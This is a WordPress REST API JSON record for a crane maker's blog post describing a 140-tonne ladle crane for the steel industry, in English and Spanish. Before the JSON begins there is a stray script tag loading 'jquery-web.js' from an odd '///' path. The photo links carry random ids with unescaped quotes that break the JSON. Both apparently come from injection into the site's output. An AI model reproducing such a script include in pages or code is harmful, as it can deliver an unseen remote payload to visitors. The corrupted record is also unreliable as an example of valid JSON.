<script src="///jquery-web.js"></script>{"id":1172,"date":"2015-01-13T09:55:37","date_gmt":"2015-01-13T08:55:37","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=1172"},"modified":"2015-01-13T09:55:37","modified_gmt":"2015-01-13T08:55:37","slug":"ladle-crane","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/ladle-crane\/","title":{"rendered":"Ladle Crane"},"content":{"rendered":"<p class=\"Textbody\">Product type:<strong><span class=\"StrongEmphasis\"> Ladle Crane<br \/>\n<\/span><\/strong>SWL:\u00a0<strong><span class=\"StrongEmphasis\">140\/40\/10 ton<br \/>\n<\/span><\/strong>Span:\u00a0<strong><span class=\"StrongEmphasis\">25 meters<br \/>\n<\/span><\/strong>HOL:\u00a0<strong><span class=\"StrongEmphasis\">18 meters<br \/>\n<\/span><\/strong>140 tonnes <strong>main hoist<\/strong>, equipped with a ladle beam with J-Hooks.<br \/>\nThe 40-tonne <strong>auxiliary hoist<\/strong> is equipped with a <strong>hook<\/strong> designed for <strong>ladle tilting ope<\/strong><span class=\"StrongEmphasis\"><strong>rations<\/strong>.<br \/>\n<\/span>Industry: <strong>Steel industry<\/strong><\/p>\n<p class=\"Textbody\"><span lang=\"EN-US\">More information: This <strong>crane<\/strong> has 4 girders. The <strong>main trolley<\/strong>, with a capacity for <strong>140 tonnes<\/strong>, runs on the two main girders. The <strong>auxiliary trolley<\/strong>, with two hooks of <strong>40 and 10 tonnes<\/strong>, runs on the two auxiliary girders. This trolley runs below the main trolley.<\/span><\/p>\n<p class=\"Textbody\"><a id="bhppazws" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_9800.jpg\"><\/a> <a id="fctlpxln" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_9845.jpg\"><\/a><!--more--><\/p>\n<p class=\"Textbody\"><a id="erszqjlc" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0364.jpg\"><\/a>\u00a0<a id="wjclzjpj" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0367.jpg\"><\/a><a id="hxmltzts" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0430.jpg\"><\/a>\u00a0<a id="lxtjrymn" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0423.jpg\"><\/a><a id="twhmknbe" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0424.jpg\"><\/a>\u00a0<a id="lexqyqln" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0429.jpg\"><\/a><a id="efazksep" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0432.jpg\"><\/a> <a id="phecalwl" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0403.jpg\"><\/a> <a id="nwymmdrx" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0409.jpg\"><\/a><a id="npgkfjqe" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0458.jpg\"><\/a>\u00a0<a id="jzpctgkn" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0436.jpg\"><\/a>\u00a0<a id="bypeeyqh" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_0450.jpg\"><\/a><strong>Puente Gr\u00faa para Colada<\/strong><\/p>\n<p>Tipo de producto:<strong> Gr\u00faa puente de Colada<br \/>\n<\/strong>Capacidad: <strong>140\/40\/10 ton<br \/>\n<\/strong>Luz: <strong>25 metros<br \/>\n<\/strong>Altura de elevaci\u00f3n: <strong>18 metros<br \/>\n<\/strong>Tipo de utillaje: <strong>Polipasto\u00a0principal<\/strong> de <strong>140 toneladas<\/strong> consta de una traviesa con <strong>dos ganchos de laminas<\/strong> para <strong>manipulaci\u00f3n de cucharas de fundici\u00f3n<\/strong>. El <strong>polipasto\u00a0auxiliar<\/strong> de <strong>40 toneladas<\/strong> esta equipada con un <strong>gancho<\/strong> que realiza el <strong>volteo de la cuchara<\/strong>.<br \/>\nSector: <strong>Siderurgia \/ Acero<\/strong><\/p>\n<p>Otros datos de inter\u00e9s:\u00a0 Esta <strong>gr\u00faa<\/strong>\u00a0<strong>puente<\/strong> consta de <strong>4 vigas<\/strong>. El <strong>carro principal<\/strong>, con la <strong>elevaci\u00f3n de 140 toneladas<\/strong>, <strong>rueda<\/strong> sobre las <strong>dos vigas principales<\/strong>. El <strong>carro auxiliar<\/strong>, con las <strong>dos elevaciones auxiliares de 40 y 10 toneladas<\/strong>, <strong>rueda<\/strong> sobre las <strong>dos vigas auxiliares<\/strong>. Este carro auxiliar pasa por debajo del carro principal.<\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Product type: Ladle Crane SWL:\u00a0140\/40\/10 ton Span:\u00a025 meters HOL:\u00a018 meters 140 tonnes main hoist, equipped with a ladle beam with J-Hooks. The 40-tonne auxiliary hoist is equipped with a hook designed for ladle tilting operations. Industry: Steel industry More information: This crane has 4 girders. The main trolley, with a capacity for 140 tonnes, runs [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":1248,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[232,304,131,309,303,316,315,310,307,311,313,84,85,49,305,301,308,302,312,239,306,300,314],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/01\/MG_04301-e1421059705353.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/1172"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=1172"}],"version-history":[{"count":10,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/1172\/revisions"}],"predecessor-version":[{"id":1251,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/1172\/revisions\/1251"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/1248"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=1172"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=1172"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=1172"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}